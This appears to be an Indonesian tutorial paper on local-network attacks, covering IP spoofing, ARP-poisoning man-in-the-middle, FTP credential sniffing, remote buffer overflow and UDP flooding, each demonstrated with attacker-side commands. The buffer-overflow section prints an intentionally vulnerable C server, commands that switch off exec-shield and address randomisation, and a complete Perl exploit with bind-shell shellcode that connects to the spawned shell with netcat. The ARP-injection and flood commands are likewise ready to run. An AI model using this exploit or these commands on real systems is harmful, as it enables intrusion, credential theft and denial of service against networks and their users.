Anda di halaman 1dari 15

Hack 0x00 - Global Trend Attack in Local Network

Local Network atau sering disebut Local Area Network (LAN) saat ini
sudah menjadi hal yang sangat lumrah di berbagai tempat misalnya di
lingkungan akademik seperti kampus, sekolah dasar dan menengah, dan
perkantoran. Namun pernahkan kita bayangkan bahwa dari jaringan lokal
inilah sebuah intrusi untuk mencuri informasi – informasi sensitif menjadi
sangat mudah (ingat tidak semua orang dalam bisa di percaya bahkan
sebagian besar intrusi lebih banyak terjadi dari jaringan lokal). Dari jaringan
lokal policy firewall, rule IDS biasanya di buat lebih sederhana sehingga
restriksinya pun tidak terlalu ketat. Hal inilah yang sering di manfaatkan oleh
seorang attacker untuk melakukan penyerangan dari dalam. Berikut ini trend
attack yang sering dilakukan dari jaringan lokal :

- Spoofing
- Sniffing
- Man in The Middle (MiTM)
- TCP/IP Session Hijacking
- Trojan
- Keylogging
- Remote Code Execution
- Denial of Service

Berikut ini saya uraikan penjelasan beberapa attacking di atas yaitu :


spoofing, sniffing, Man in The Middle, Remote Code Execution, Denial of
Service.

Hack 0x01 - Spoofing

Spoofing adalah mengirimkan suatu packet dengan menggunakan


alamat asal yang dipalsukan dengan tujuan untuk penyamaran identitas.
Penyamaran identitas ini bisa digunakan untuk berbagai keperluan misalnya
email spoofing dapat digunakan untuk phising, penipuan, dan pencurian
beragam informasi sensitif. Beberapa kasus spoofing yang sering terjadi di
jaringan lokal :

- IP spoofing bisa digunakan untuk beragam keperluan Denial of Service,


misalnya TCP SYN Flooding, ICMP smurfing, UDP flooding.

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 1


- ARP spoofing atau lebih dikenal dengan ARP poisoning biasa digunakan
untuk keperluan Man In The Middle (MiTM).

Untuk mendemokan bagaimana spoofing terjadi, saya menggunakan


contoh IP spoofing dalam koneksi TCP (Transmission Control Protocol).
Sebelum terjadi koneksi TCP maka pihak yang hendak melakukan koneksi
harus mengirimkan TCP flags SYN (synchronize) terlebih dahulu. Jadi nantinya
packet TCP SYN ini di kirimkan ke suatu target dengan menggunakan sumber
IP address palsu. Untuk mengamati bagaimana proses terjadinya spoofing,
saya menggunakan bantuan tcpdump dan sebuah tool IP spoofing sederhana.

Di sisi attacker
(1) ifconfig –a | grep “inet addr”
(2) tar zxvf ipspoof.tgz
(3) cd ipspoof/
(4) gcc –o ipspoof ipspoof.c
(5) ./ipspoof
(6) ./ipspoof <victim addr> <port> <source addr>
example :
(7) ./ipspoof 10.13.200.130 80 1.2.3.4

Di sisi victim
(1) ifconfig –a|grep “inet addr”
(2) tcpdump –nne tcp port 80

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 2


Gambar (I) Demo IP spoofing

Tcpdump menjelaskan kepada kita bahwa terjadi pengiriman TCP


SYN (S) dari IP address 1.2.3.4 di port 45298 menuju IP address
10.13.200.130 di port 80, padahal IP address pengirim yang sesungguhnya
adalah 10.13.5.25. Salah satu akibat dari spoofing TCP SYN adalah terjadinya
Denial of Service di mesin victim.

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 3


Hack 0x02 - Man In The Middle

Man-in-the-middle (MITM) attack adalah salah satu serangan pada


tahap gaining access. Dengan cara ini seseorang bisa membaca, menginsert
dan memalsukan data antara dua komputer yang saling terhubung sekalipun
di dalam switched network. Man-in-the-middle attack dapat dilakukan jika
komputer attacker berada di dalam satu network dengan dua komputer yang
lainnya Sesuai dengan namanya Man-in-the-middle, attacker harus
menempatkan diri ditengah-tengah komunikasi antara komputer User A dan
komputer User B sehingga attacker bisa mengcapture (sniff) semua data dari
komputer User A dan komputer User B.

Gambar (II) Skenario Man In The Middle

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 4


attacker-> ping 172.16.11.111 (User A)
PING 172.16.11.111 (172.16.11.111): 56 data bytes
64 bytes from 172.16.11.111: icmp_seq=0 ttl=128 time=0.599 ms
attacker-> ping 172.16.11.103 (User B)
PING 172.16.11.103 (172.16.11.103): 56 data bytes
64 bytes from 172.16.11.103: icmp_seq=0 ttl=64 time=1.022 ms
attacker-> arp -na
? (172.16.11.1) at 00:11:bb:74:da:00 on rl0
? (172.16.11.103) at 00:00:21:27:12:1f on rl0
? (172.16.11.104) at 00:d0:68:00:f0:ce on rl0
? (172.16.11.111) at 00:0c:76:24:ab:3c on rl0

Satu hal yang menarik dari table entry ARP tadi adalah ketika 2 IP
address berbeda dengan MAC yang sama ada di dalam table ARP, maka IP
address yang terdahulu akan dioverwrite oleh IP address yang baru. Lalu
yang harus dilakukan oleh attacker adalah mengirimkan ARP sehingga
komputer User A percaya bahwa IP address komputer User B ada di MAC
address komputer attacker dan mengirimkan ARP sehingga komputer User B
percaya bahwa IP address komputer User A ada di MAC address komputer
attacker juga. Dengan teknik ini semua paket data dari komputer User A yang
menuju ke komputer User B akan melalui interface attacker. Teknik
pemalsuan ARP ini sering dikenal dengan ARP spoofing atau ARP cache
poisoning. Banyak sekali tools yang bisa digunakan untuk melakukan ARP
spoofing dan tersedia gratis di internet. Beberapa yang sering digunakan
adalah :

- ettercap ( http://ettercap.sourceforge.net/ )
- arpspoof ( bagian dari dsniff http://monkey.org/~dugsong/dsniff/ )
- nemesis ( http://nemesis.sourceforge.net )
- Cain & Abel ( http://www.oxid.it )

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 5


Untuk mendemokan bagaimana Man-In-The-Middle, saya
menggunakan nemesis sebagai tool untuk menginjeksikan packet ke
komputer User A dan komputer User B.

(1) Support kernel IP forwarding


sysctl net.ipv4.ip_forward=1
echo “net.ipv4.ip_forward=1” >> /etc/sysctl.conf

(2) Injeksikan paket ARP palsu


nemesis arp -v -r -d <interface attacker> -S <IP User A>
-D <IP User B > -h <MAC interface attacker> -m <MAC User A>
-H <MAC interface attacker> -M <MAC User A>

nemesis arp -v -r -d <interface attacker> -S <IP User B>


-D <IP User A> -h <MAC interface attacker> -m <MAC User B>
-H <MAC interface attacker> -M <MAC User B>

Man-in-The-Middle (MiTM) di atas menggunakan teknik ARP cache


poisoning, teknik ini paling umum digunakan dalam jaringan lokal yang
menggunakan switch. Beberapa teknik MiTM yang lain adalah :

- switch port stealing


- DHCP spoofing
- DNS spoofing
- ICMP redirection

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 6


Hack 0x03 - Sniffing

Sniffing adalah sebuah proses penyadapan koneksi kemudian


menganalisis packet data yang diperoleh. Sniffing bisa digunakan untuk
keperluan legal, misalnya dalam memanage jaringan atau bisa digunakan
untuk keperluan illegal, misalnya untuk mengintip informasi – informasi
sensitif seperti username dan password. Ada dua macam sniffing yaitu :

- passive sniffing, mengintai packet data yang ada di jaringan untuk di


analisis tanpa melakukan modifikasi packet data.
- active sniffing, mengintai packet data yang ada di jaringan kemudian
melakukan manipulasi misalnya dengan menginjeksikan packet dengan
tujuan memutuskan sebuah koneksi.

Di sebuah jaringan yang terkoneksi melalui hub, proses sniffing bisa


dilakukan dengan mudah. Hanya dengan mengintai packet data yang ada di
network interface card di komputer milik attacker. Ini di karenakan packet
data dikirimkan hub secara broadcast ke semua host yang ada di jaringan.
Saat ini sudah jarang sekali ditemui sebah jaringan lokal menggunakan hub,
namun digantikan menggunakan switch. Switch mengirimkan packet data
secara unicast ke host yang melakukan koneksi. Untuk melakukan sniffing
packet data di jaringan switch, seseorang perlu mengkompromise link antara
dua buah pihak yang sedang terkoneksi, salah satu cara yang paling efektif
dilakukan adalah dengan Man in The Middle (MiTM).

Di sisi attacker
(1) support kernel IP forwarding sysctl net.ipv4.ip_forward=1
(2) lakukan Man in The Middle
Lihat di pembahasan sebelumnya
(3) lakukan sniffing
tcpdump –nne tcp port 21 (sniffing koneksi ftp)

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 7


Gambar (III) Demo Sniffing

Tcpdump melakukan sniffing username dan password, dari hasil


sniffing diperoleh bahwa user antoxz menggunakan password rahasia.

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 8


Hack 0x04 Remote Code Execution

Remote Code Execution (RCE) merupakan sutu teknik dalam hacking


yang memungkinkan seorang mengeksekusi sembarang code di sebuah mesin
victim yang vulnerable. Mesin victim vulnerable dikarenakan adanya flaw di
aplikasi, service, atau sistem operasi yang digunakan. Berikut ini flaw
programming yang sangat umum terjadi :

- Buffer Overflow
- Integer Overflow
- Error Format String
- SQL injection
- File Inclussion
- Cross Site Scripting (XSS)

Untuk attacking di jaringan lokal biasanya menggunakan flaw


programming jenis buffer oveflow, integer overflow, dan error format strings
namun untuk mengurangi banyaknya topik permasalahan saya hanya hendak
menguraikan teknik remote buffer overflow. Buffer overflow adalah sebuah
flaw programming yang terjadi karena sebuah program tidak mampu dengan
baik menghandle inputan dari user, sehingga user bisa menginputkan data
melebihi daya tampung yang disediakan memori. Beberapa contoh buffer
overflow :

- DCOM remote buffer overflow pada mesin windows.


- Wu-FTPd remote buffer overflow pada mesin linux/nix versi lama.
- Pro-FTPd mod TLS pre-auth remote buffer overflow.

Untuk menerangkan bagaimana buffer overflow terjadi, saya


melakukan sebuah percobaan sederhana. Percobaan yang saya lakukan
menggunakan mesin fedora core 5 dengan kernel exec shield dan random
virtual address didisable. Saya menggunakan sebuah code C sederhana yang
memang dibuat vulnerable dengan stack based buffer overflow.

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 9


//http://www.milw0rm.com/papers/78

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define LISTENPORT 7500


#define BACKLOG 10
#define MSG "Hello, how are you?"

int handle_reply(char *str)


{
char response[256];
strcpy(response,str);
printf("The client says \"%s\"\n",response);
return 0;
}

int main(int argc, char * argv[]) {


int sock, conn;
struct sockaddr_in my_addr, client_addr;
int sockopt_on = 1;
int sa_in_size = sizeof(struct sockaddr_in);
char reply[1024];

if ((sock = socket(AF_INET, SOCK_STREAM,0)) == -1) {


perror("socket");
exit(1);
}

memset((char *) &my_addr, 0, sa_in_size);

my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(LISTENPORT);
my_addr.sin_addr.s_addr = htonl(INADDR_ANY);

if (bind(sock,(struct sockaddr *)&my_addr, sa_in_size) == -1)


{
perror("bind");
exit(1);
}

if (listen(sock,BACKLOG) == -1) {
perror("listen");
exit(1);
}

while(1) {
conn = accept(sock, (struct sockaddr *)&client_addr, &sa_in_size);
if (conn == -1) {
perror("accept");
exit(1);
}

printf("got connection from %s\n", inet_ntoa(client_addr.sin_addr));


send(conn,MSG,strlen(MSG)+1,0);

recv(conn, reply, 1024, 0);


handle_reply(reply);

}
return 0;
}

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 10


sysctl kernel.execshield=0
echo “0” >> /etc/sysctl.conf
sysctl kernel.randomize_va_space=0
echo “0” >> /etc/sysctl.conf
gcc –o bof bof.c
./bof

Flaw programming pada code C di atas ada pada fungsi


handle_reply() dalam mencopy variable str ke variable response
strcpy(response,str). Ketika panjang variable str melebihi 256 maka yang
terjadi adalah buffer overflow karena variable response hanya memilik daya
tampung sepanjang 256. Proses debugging tidak saya uraikan detail karena
cukup panjang, jika proses exploitasi potongan code di atas berhasil, maka
attacker mendapat akses ke sistem operasi namun jika gagal maka terjadi
terminating service yang mengakibatkan Denial of Service.

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 11


#!/usr/bin/perl
use IO::Socket;
$ip = $ARGV[0];
$nopsled = "\x90"x174;
$payload =
"\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89\xe1\xcd\x80".
"\x52\x66\x68\xff\xff\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1".
"\x89\xc6\x43\xb0\x66\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x56\x89".
"\xe1\x43\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79".
"\xf9\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89".
"\xe3\x52\x53\x89\xe1\xcd\x80";

$eip="\x18\xe3\xff\xbf";
$attackstring = $nopsled.$payload.$eip;
#view a message if no ip address is given
if(!$ip)
{
die "You have to provide the target's IP Address..\n";
}

#the remote port to connect to


$port = '7500';

#the connection protocol to use


$protocol = 'tcp';

#create the actual network connection


#and print an error message if it's not possible to create a socket
print "[+] Connecting to victim on port 7500..";sleep(1);
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
PeerPort=>$port,
Proto=>$protocol,
Timeout=>'1') || die "Could not create socket\n";
#send the payload to the remote computer
print "[OK]\n";
print "[+] Sending data..";sleep(1);
print $socket $attackstring;
print "[OK]\n";
#close the connection
close($socket);
print "[+] Spawning Shell - Try to type 'id'!!\n";
system("nc -n $ip 65535");

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 12


Gambar (IV) Remote Buffer Overflow

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 13


Hack 0x05 Denial of Service

Denial of Service (DoS) adalah sebuah jenis serangan yang ditujukan


untuk membuat resource tidak tersedia sehingga tidak bisa di akses oleh user
yang sah. Denial of Service bisa berasal dari satu sumber, tapi juga bisa
terdistribusi. Dilihat dari sumbernya, denial of service bisa dibagi dalam tiga
kategori :

- Denial of Service (DoS)


- Distributed Denial of Service (DDoS)
- Distributed Reflection Denial of Service (DRDoS)

Denial of Service sendiri dapat dilakukan dengan menyerang pada :

- Protocol weakness example : SYN Flooding, UDP Flooding


- Service weakness : DoS services caused by overflow
- Application weakness : Web2 XSS worm

Denial of Services menggunakan kelemahan protokol biasanya berupa


flooding, yakni pengiriman paket dalam jumlah yang sangat besar dengan
tujuan untuk membanjiri jaringan dengan sampah sehingga bandwith habis
dan koneksi menjadi sangat lambat bahkan tidak bisa sama sekali. Lebih
parah lagi jika flooding dilakukan dengan menggunakan sumber IP address
source yang di spoofing sehingga menjadi sangat susah sekali untuk
mencegahnya. Beberapa contoh Denial of Service menggunakan kelemahan
protokol adalah : Flooding TCP-SYN, Flooding UDP, Flooding ICMP, dan
Smurfing ICMP. Sebuah contoh flooding UDP sebagai berikut :

Di sisi attacker
gcc –o udpflood udpflood.c
./udpflood -s 800 -f 10 10.13.8.87

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 14


Di sisi victim
Ifstat
eth0
KB/s in KB/s out
458.02 0.53
586.32 0.12
329.81 0.19
307.25 0.12

Denial of Service pada service weakness biasanya terjadi karena flaw


programming layaknya remote code execution. Di Hack 0x04 telah dijelaskan
bahwa kegagalan exploitasi remote code execution bisa berakibat pada
terminating service yang menyebabkan DoS.

Gambar (V) Denial of Service

RISTI TELKOM 2007 BY ”ATIK PILIHANTO CV.GLOBAL INFORMATIX YOGYAKARTA” 15

Anda mungkin juga menyukai